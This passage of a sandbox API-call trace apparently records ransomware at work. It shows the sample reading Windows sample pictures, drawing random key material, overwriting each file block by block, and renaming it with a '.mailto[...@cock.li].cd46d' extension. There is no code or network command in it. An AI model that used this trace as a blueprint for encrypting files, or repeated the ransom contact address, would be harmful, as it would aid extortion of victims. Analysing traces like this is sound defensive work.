(HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419aa0 [0052.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419aa0) returned 1 [0052.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.355] WriteFile (in: hFile=0xcfc, lpBuffer=0x12eb5258*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcb0f748, lpOverlapped=0x0 | out: lpBuffer=0x12eb5258*, lpNumberOfBytesWritten=0xcb0f748*=0xc800, lpOverlapped=0x0) returned 1 [0057.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12eb5258) returned 1 [0057.692] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.692] ReadFile (in: hFile=0xcfc, lpBuffer=0x12ea8a50, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcb0f748, lpOverlapped=0x0 | out: lpBuffer=0x12ea8a50*, lpNumberOfBytesRead=0xcb0f748*=0xc800, lpOverlapped=0x0) returned 1 [0057.694] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d70 [0057.694] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d70) returned 1 [0057.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12eb5258 [0057.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d70 [0057.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d48 [0057.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d48) returned 1 [0057.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.698] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.698] WriteFile (in: hFile=0xcfc, lpBuffer=0x12eb5258*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcb0f748, lpOverlapped=0x0 | out: lpBuffer=0x12eb5258*, lpNumberOfBytesWritten=0xcb0f748*=0xc800, lpOverlapped=0x0) returned 1 [0059.202] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12eb5258) returned 1 [0059.202] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb0e16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.202] ReadFile (in: hFile=0xcfc, lpBuffer=0x12ea8a50, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcb0f748, lpOverlapped=0x0 | out: lpBuffer=0x12ea8a50*, lpNumberOfBytesRead=0xcb0f748*=0xc800, lpOverlapped=0x0) returned 1 [0059.203] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb0e16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.203] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0059.203] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12eb5258 [0059.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441820 [0059.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0059.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441438) returned 1 [0059.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.205] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.205] WriteFile (in: hFile=0xcfc, lpBuffer=0x12eb5258*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcb0f748, lpOverlapped=0x0 | out: lpBuffer=0x12eb5258*, lpNumberOfBytesWritten=0xcb0f748*=0xc800, lpOverlapped=0x0) returned 1 [0062.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12eb5258) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d528 [0062.310] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.310] WriteFile (in: hFile=0xcfc, lpBuffer=0x44d300*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0xcb0f7f0, lpOverlapped=0x0 | out: lpBuffer=0x44d300*, lpNumberOfBytesWritten=0xcb0f7f0*=0x14b, lpOverlapped=0x0) returned 1 [0062.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d300) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ffe0) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d528) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419de8) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419ca8) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419cf8) returned 1 [0063.320] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02960 [0063.320] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" [0063.320] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.320] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcb0f7a8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.320] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.321] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0xcb0f7b4, FileInformation=0xcb0f78c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xcb0f7b4, FileInformation=0xcb0f78c) returned 0x0 [0063.321] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0xcb0f7b4, FileInformation=0xcb0f78c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.322] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.322] FlushFileBuffers (hFile=0xcfc) returned 1 [0066.219] CloseHandle (hObject=0xcfc) Thread: id = 525 os_tid = 0xf24 [0049.325] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg")) returned 0x20 [0051.485] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", dwFileAttributes=0x20) returned 1 [0052.355] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd00 [0052.355] GetFileSizeEx (in: hFile=0xd00, lpFileSize=0xcfefa78 | out: lpFileSize=0xcfefa78*=780831) returned 1 [0052.355] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xbea1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.355] ReadFile (in: hFile=0xd00, lpBuffer=0xcfef9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcfef9f8, lpOverlapped=0x0 | out: lpBuffer=0xcfef9fc*, lpNumberOfBytesRead=0xcfef9f8*=0x4, lpOverlapped=0x0) returned 1 [0052.357] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419aa0 [0052.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9008 [0052.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9030 [0052.357] NtQuerySystemTime (in: CurrentTime=0xcfef9d8 | out: CurrentTime=0xcfef9d8*=132174898163304000) returned 0x0 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x454738c9 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x44918204 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x6d8fc44c [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x11531ff2 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x2bb7e406 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x24bb8a8d [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x4beb4812 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x8b1036b [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x2dc4db72 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x4f6647b8 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x79c91078 [0052.357] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x6d8f5f89 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x2153ae7a [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x14195a0d [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x36873a0f [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x7807f889 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0xf608b1d [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x2d30b3e4 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x4fc4fc53 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x45dfa94 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x30981ea [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x734d47e3 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x5b5a6a4a [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x71b62e16 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x33c7a84b [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x3a63811f [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x6c1444bc [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x5120683 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x40fe72b6 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x2548d5d3 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x31828ea9 [0052.358] RtlRandomEx (in: Seed=0xcfef9e4 | out: Seed=0xcfef9e4) returned 0x1ec205d0 [0052.371] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.371] ReadFile (in: hFile=0xd00, lpBuffer=0x12ec1a60, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcfef990, lpOverlapped=0x0 | out: lpBuffer=0x12ec1a60*, lpNumberOfBytesRead=0xcfef990*=0xc800, lpOverlapped=0x0) returned 1 [0052.372] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.372] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.372] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.372] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419aa0 [0052.372] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419aa0) returned 1 [0052.374] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ece268 [0052.377] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419aa0 [0052.377] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9030 [0052.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9030) returned 1 [0052.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.377] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.377] WriteFile (in: hFile=0xd00, lpBuffer=0x12ece268*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcfef990, lpOverlapped=0x0 | out: lpBuffer=0x12ece268*, lpNumberOfBytesWritten=0xcfef990*=0xc800, lpOverlapped=0x0) returned 1 [0057.700] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ece268) returned 1 [0057.700] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.700] ReadFile (in: hFile=0xd00, lpBuffer=0x12ec1a60, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcfef990, lpOverlapped=0x0 | out: lpBuffer=0x12ec1a60*, lpNumberOfBytesRead=0xcfef990*=0xc800, lpOverlapped=0x0) returned 1 [0057.702] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d48 [0057.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d48) returned 1 [0057.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ece268 [0057.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d48 [0057.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d20 [0057.704] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d20) returned 1 [0057.704] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.704] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.704] WriteFile (in: hFile=0xd00, lpBuffer=0x12ece268*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcfef990, lpOverlapped=0x0 | out: lpBuffer=0x12ece268*, lpNumberOfBytesWritten=0xcfef990*=0xc800, lpOverlapped=0x0) returned 1 [0059.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ece268) returned 1 [0059.207] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xb221f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.207] ReadFile (in: hFile=0xd00, lpBuffer=0x12ec1a60, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xcfef990, lpOverlapped=0x0 | out: lpBuffer=0x12ec1a60*, lpNumberOfBytesRead=0xcfef990*=0xc800, lpOverlapped=0x0) returned 1 [0059.208] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xb221f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.208] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.208] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.208] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0059.208] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441438) returned 1 [0059.209] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ece268 [0059.209] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0059.209] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b68 [0059.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b68) returned 1 [0059.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.209] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.209] WriteFile (in: hFile=0xd00, lpBuffer=0x12ece268*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xcfef990, lpOverlapped=0x0 | out: lpBuffer=0x12ece268*, lpNumberOfBytesWritten=0xcfef990*=0xc800, lpOverlapped=0x0) returned 1 [0062.312] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ece268) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d5f8 [0062.312] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.312] WriteFile (in: hFile=0xd00, lpBuffer=0x44d458*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0xcfefa38, lpOverlapped=0x0 | out: lpBuffer=0x44d458*, lpNumberOfBytesWritten=0xcfefa38*=0x143, lpOverlapped=0x0) returned 1 [0062.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d458) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b40) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419d98) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419aa0) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d5f8) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9008) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9058) returned 1 [0063.323] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9080) returned 1 [0063.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45ced0 [0063.323] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" [0063.323] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.323] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xcfef9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00610 [0063.328] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.328] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4836b0) returned 1 [0063.328] NtQueryInformationFile (in: FileHandle=0xd00, IoStatusBlock=0xcfef9fc, FileInformation=0xcfef9d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xcfef9fc, FileInformation=0xcfef9d4) returned 0x0 [0063.328] NtSetInformationFile (FileHandle=0xd00, IoStatusBlock=0xcfef9fc, FileInformation=0xcfef9d4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.329] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0063.329] FlushFileBuffers (hFile=0xd00) returned 1 [0066.219] CloseHandle (hObject=0xd00) Thread: id = 526 os_tid = 0xf28 [0049.325] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg")) returned 0x20 [0051.239] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", dwFileAttributes=0x20) returned 1 [0052.697] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc78 [0052.697] GetFileSizeEx (in: hFile=0xc78, lpFileSize=0xcf5fa78 | out: lpFileSize=0xcf5fa78*=561276) returned 1 [0052.697] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x89078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.697] ReadFile (in: hFile=0xc78, lpBuffer=0xcf5f9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcf5f9f8, lpOverlapped=0x0 | out: lpBuffer=0xcf5f9fc*, lpNumberOfBytesRead=0xcf5f9f8*=0x4, lpOverlapped=0x0) returned 1 [0052.698] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9738 [0052.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.698] NtQuerySystemTime (in: CurrentTime=0xcf5f9d8 | out: CurrentTime=0xcf5f9d8*=132174898166736000) returned 0x0 [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x21ffea66 [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x5b946dd6 [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x3b15b88a [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x69cb3a32 [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x54bc9c02 [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x4376bac1 [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x4055bc8a [0052.698] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x2324b7dd [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x6be77db7 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x50d3754f [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x29b7c2d9 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x1be45ecb [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x1e184b5a [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x16bf6230 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x5b9d591f [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x7b1d18d7 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x44eac988 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x89e2299 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x4c7befc5 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x2e711fd4 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x19f1c44a [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x4862ee01 [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: Seed=0xcf5f9e4) returned 0x624460ea [0052.699] RtlRandomEx (in: Seed=0xcf5f9e4 | out: 